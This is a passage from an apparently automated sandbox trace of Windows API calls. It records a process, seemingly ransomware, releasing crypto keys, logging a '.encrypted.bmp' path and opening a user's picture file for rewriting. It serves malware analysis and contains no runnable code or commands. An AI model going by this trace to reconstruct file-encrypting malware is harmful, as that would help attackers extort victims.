wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.192] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.192] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.192] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.192] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.192] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.197] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.197] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.197] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.199] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.199] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.199] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.199] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.199] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.199] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.199] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.199] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0028.199] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.199] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.199] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.199] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.199] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.199] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.199] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.200] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.200] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.200] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.200] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.200] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.200] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.200] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.200] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.200] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.200] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.200] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.200] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.200] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.200] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.200] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.200] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.200] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.200] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.200] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.200] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.200] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.200] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.200] CryptReleaseContext (hProv=0xe8f4063410, dwFlags=0x0) returned 1 [0028.200] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.200] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.200] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.200] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.200] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.200] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.200] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.202] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.203] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.203] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.204] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.204] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.204] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.204] CharLowerBuffW (in: lpsz="byte[84977]", cchLength=0xb | out: lpsz="byte[84977]") returned 0xb [0028.205] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.205] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.205] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.205] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.205] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.205] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.205] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.205] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.205] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.205] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.205] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.205] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.205] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.205] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.205] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.206] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.206] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.206] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.206] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.206] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.206] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.206] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.206] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.206] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.206] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.206] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.206] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.206] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.206] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.206] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.206] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.206] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.206] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.206] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.206] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.206] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.206] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.206] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.207] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.207] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.207] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.208] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.208] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.208] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.208] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.208] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.208] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.208] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.208] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.208] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.208] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=8656) returned 1 [0028.208] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.208] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.208] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.208] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x21d0, lpOverlapped=0x0) returned 1 [0028.208] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.209] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x21d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.209] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=8656) returned 1 [0028.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\Ds65N6Miylf7v.encrypted.bmp\r\n", cchWideChar=75, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 75 [0028.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\Ds65N6Miylf7v.encrypted.bmp\r\n", cchWideChar=75, lpMultiByteStr=0xe8f406a1f0, cbMultiByte=75, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\Ds65N6Miylf7v.encrypted.bmp\r\n", lpUsedDefaultChar=0x0) returned 75 [0028.209] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4069bf0*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069bf0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x4a, lpOverlapped=0x0) returned 1 [0028.209] CloseHandle (hObject=0x1fc) returned 1 [0028.210] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.210] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.210] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.210] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.210] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.210] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.210] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.211] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.211] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178860, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0028.212] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0028.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41789a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0028.212] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0028.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\fYbDf-gD6aNdufc.jpg", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0028.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\fYbDf-gD6aNdufc.jpg", cchWideChar=65, lpMultiByteStr=0xe8f4052120, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\fYbDf-gD6aNdufc.jpg", lpUsedDefaultChar=0x0) returned 65 [0028.212] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\fYbDf-gD6aNdufc.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\fybdf-gd6andufc.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=65, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0028.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=65, 